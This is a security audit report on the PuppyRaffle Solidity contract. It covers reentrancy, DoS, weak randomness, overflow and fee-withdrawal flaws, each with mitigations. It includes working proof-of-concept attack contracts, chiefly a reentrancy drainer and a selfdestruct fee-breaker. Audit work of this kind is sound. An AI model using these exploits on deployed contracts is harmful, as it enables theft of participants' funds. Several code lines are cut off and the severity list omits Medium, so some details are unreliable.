Contents

PuppyRaffle Security Review

Overview

This document contains the findings of the PuppyRaffle smart contract security review.

Severity Classification

- High: Vulnerabilities that can lead to loss of funds or complete contract failure
- Low: Issues that should be fixed but don't pose immediate risks

Findings Summary

- 3 High severity findings
- 2 Medium severity findings
- 1 Low severity finding

Detailed Findings

[H-1] Reentrancy in `PuppyRaffle::refund()` allows attacker to drain all the funds from the contract

Description: The `PuppyRaffle::refund()` function doesn't follow CEI (Checks, Effects, Interactions) pattern. A malicious actor can exploit this by creating a contract with a fallback/receive function that calls `refund()` again when receiving ETH, allowing them to repeatedly withdraw funds before their player status is removed. This can continue until the contract's balance is drained.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is

@>      payable(msg.sender).sendValue(entranceFee);
```

```
        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

Impact: An attacker can drain all ETH from the contract, stealing funds from other participants and making the raffle system inoperable.

Proof of Concept:

PoC

```
//SPDX-License-Identifier: MIT;
pragma solidity ^0.7.6;

import {PuppyRaffle} from "../../src/PuppyRaffle.sol";

contract ReentrancyAttacker {
    PuppyRaffle target;
    uint256 playerIndex;

    constructor(address _target) payable {
        target = PuppyRaffle(_target);
    }

    function attack() public {
        address[] memory players = new address[](1);
        players[0] = address(this);
        target.enterRaffle{value: target.entranceFee()}(players);
        playerIndex = target.getActivePlayerIndex(address(this));
        target.refund(playerIndex);
    }

    receive() external payable {
        if (address(target).balance >= 1 ether) {
            target.refund(playerIndex);
        }
    }
}
```

Recommended Mitigation: Update the `refund()` function to follow the CEI pattern by moving the state changes before the external call:

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is

+       players[playerIndex] = address(0);
        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

[H-2] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle()` is a potential DoS attack

Description: The `PuppyRaffle::enterRaffle()` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more gas costs for future entrants. Every additional address in the `players` array is an additional check the loop have to make.

```
    for (uint256 i = 0; i < players.length - 1; i++) {
        for (uint256 j = i + 1; j < players.length; j++) {
            require(players[i] != players[j], "PuppyRaffle: Duplicate player");
        }
    }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first to enter. An attacker might make the `PuppyRaffle::players` array so big that no one else enters, guaranteeing themselves the win.

Proof of Concept: If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6,252,037 gas - 2nd 100 players: ~20,376,508 gas

PoC

```
function test_denialOfService() public {
    vm.txGasPrice(1);
    address USER = makeAddr("user");
    vm.deal(USER, 1000000 ether);
    uint256 numPlayers = 200;
    address[] memory newPlayers = new address[](numPlayers);

    for (uint256 i = 0; i < numPlayers; i++) {
        newPlayers[i] = address(i);
    }

    uint256 gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * numPlayers}(newPlayers);
    uint256 gasEnd = gasleft();
    uint256 gasUsed = gasStart - gasEnd;
    console.log(gasUsed);
}
```

Recommended Mitigation: Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a wallet has already entered:

```
+ uint256 public raffleID;
+ mapping (address => uint256) public usersToRaffleId;

    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enou

        for (uint256 i = 0; i < newPlayers.length; i++) {
+           // Check for duplicates
+           require(usersToRaffleId[newPlayers[i]] != raffleID, "PuppyRaffle: Already a pa
            players.push(newPlayers[i]);
+           usersToRaffleId[newPlayers[i]] = raffleID;
        }

-       // Check for duplicates
```

```
-        for (uint256 i = 0; i < players.length - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-            }
-        }

         emit RaffleEnter(newPlayers);
     }

     function selectWinner() external {
         //Existing code
+        raffleID = raffleID + 1;
     }
```

[H-3] `PuppyRaffle::selectWinner()` uses weak randomization for winner selection

Description: The use of keccak256 hash functions on predictable values like block.timestamp, block.number, or similar data, including modulo operations on these values, should be avoided for generating randomness, as they are easily predictable and manipulable. The PREVRANDAO opcode also should not be used as a source of randomness.

Impact: Weak randomization can lead to predictable winner selection, potentially allowing an attacker to manipulate the outcome of the raffle.

Recommended Mitigation: Utilize Chainlink VRF for cryptographically secure and provably random values to ensure protocol integrity.

[M-1] Integer overflow vulnerability in `PuppyRaffle::totalFees` allows fees to be reset

Description: In Solidity versions prior to 0.8.0, arithmetic operations can overflow/underflow without reverting. The `PuppyRaffle` contract uses Solidity 0.7.6 and declares `totalFees` as a `uint64`, which can only store values up to 2^64 - 1 (18,446,744,073,709,551,615).

```
contract PuppyRaffle {
    uint64 public totalFees = 0;
    ...
}
```

Impact: The contract owner could lose fee revenue when `totalFees` overflows if totalfees greater than 18,446,744,073,709,551,615 (~18.5 ethers).

Proof of Concept:

```
uint64 totalFees = 18446744073709551615;
totalFees = totalFees + 1;
console.log(totalFees);
// result is 0
```

Recommended Mitigation: Change `totalFees` to use `uint256` instead of `uint64` to prevent overflow:

```
contract PuppyRaffle {
-    uint64 public totalFees = 0;
```

```
+    uint256 public totalFees = 0;
}
```

Alternatively, upgrade to Solidity 0.8.0 or later which includes built-in overflow protection.

[M-2] WithdrawFees can be broken if someone sends ETH directly to the contract

Description: The `PuppyRaffle::withdrawFees()` function checks if the contract balance is equal to `totalFees`. If someone sends some ETH to the contract, it will break the withdrawFees function.

Impact: The owner can't withdraw the fees.

Proof of Concept:

PoC

```
//SPDX-License-Identifier: MIT;
pragma solidity ^0.7.6;

import {PuppyRaffle} from "../../src/PuppyRaffle.sol";

contract WithdrawFeesAttacker {
    PuppyRaffle target;

    constructor(address _target) payable {
        target = PuppyRaffle(_target);
    }

    function attack() public {
        selfdestruct(payable(address(target)));
    }
}
```

Recommended Mitigation: Change the logic of withdrawFees and consider withdrawing all the balance instead of checking if it's equal to totalFees.

[L-1] `PuppyRaffle::withdrawFees()` cannot withdraw fees while players are in the raffle

Description: The `PuppyRaffle::withdrawFees()` function checks if there are any players in the raffle, and if there are, it prevents the owner from withdrawing the fees.

Impact: The owner can't withdraw the fees if there are players in the raffle.

Proof of Concept:

```
function withdrawFees() external {
    require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently
    uint256 feesToWithdraw = totalFees;
    totalFees = 0;
    (bool success,) = feeAddress.call{value: feesToWithdraw}("");
    require(success, "PuppyRaffle: Failed to withdraw fees");
}
```

Recommended Mitigation: Modify the withdrawFees logic to allow withdrawal while there are players in the raffle:

```
function withdrawFees() external {
-   require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently
    uint256 feesToWithdraw = totalFees;
    totalFees = 0;
    (bool success,) = feeAddress.call{value: feesToWithdraw}("");
    require(success, "PuppyRaffle: Failed to withdraw fees");
}
```